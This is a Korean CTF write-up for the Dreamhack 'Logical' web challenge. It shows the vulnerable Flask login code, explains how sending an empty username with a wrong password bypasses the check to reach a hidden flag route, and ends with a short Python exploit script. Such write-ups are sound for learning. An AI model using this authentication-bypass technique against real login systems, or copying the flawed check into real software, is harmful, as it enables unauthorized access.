WEB hacking/드림핵(dreamhack)

드림핵 Logical WriteUp

Roronoa 2025. 1. 24. 17:43
반응형

문제 풀이

소스코드

app = Flask(__name__)
hidden_dir = '/dir_' + str(randint(1, 99999999999999999))

@app.route('/', methods=['GET','POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    elif request.method == 'POST':
        if not login_check():
            return render_template('login.html', error='Something wrong with the login details. Try again.')
        else:
            return redirect(hidden_dir)
    else:
        return make_response(405)

@app.route(hidden_dir)
def hidden_endpoint():
    return render_template('hidden.html', FLAG=open('flag.txt').read())

def login_check():
    uname = request.form.get('uname', '')
    password = request.form.get('password', '')
    print(uname, password)
    if not uname and not password:
        return False
    connection = connect("logical.db")
    cursor = connection.cursor()
    query = ("SELECT uname, password FROM users WHERE password = '{}'").format(md5(password.encode()).hexdigest())
    print(query)
    usrname = cursor.execute(query).fetchall()
    name = usrname[0][0] if usrname and usrname[0] and usrname[0][0] else ''
    return name == uname

flag는 hidden_dir 경로에 라우팅 되어 있다. hidden_dir 값은 랜덤한 값으로 추측하기 어렵기 때문에 직접 접근을 통해 FLAG를 얻기는 힘들 것이다. login_check() 함수의 결과가 True가 나올경우 hidden_dir 경로로 리다이렉트 하기 때문에 login_check() 함수를 살펴본다.

 

name == uname일 경우에 True가 된다.

uname 파라미터의 값이 주어지지 않았을 경우 ''가 되며, password 해시 값이 틀릴 경우 username의 값이 없기 때문에 ''로 uname과 name 값이 같아지게 된다.

 

따라서 uname 파라미터의 값을 주지 않고 비밀번호가 틀린 값을 입력할 경우 문제를 해결할 수 있다.

 

로그인 요청 패킷

exploit code

import requests
import argparse

parser = argparse.ArgumentParser(description='exploit code of Dreamhack Logical Problem.')
parser.add_argument('-u', '--url', required=True)
args = parser.parse_args()

def exploit(url):
    data = {
        "uname":"",
        "password":"asd"
    }
    response = requests.post(url, data)
    tmp = response.text.split()
    for s in tmp:
        if 'dream' in s:
            print(f"flag: {s.strip()}")
            break

if __name__ == "__main__":
    # 사용법: python ex.py -u <http://host1.dreamhack.games:13038/>
    exploit(args.url)

 

반응형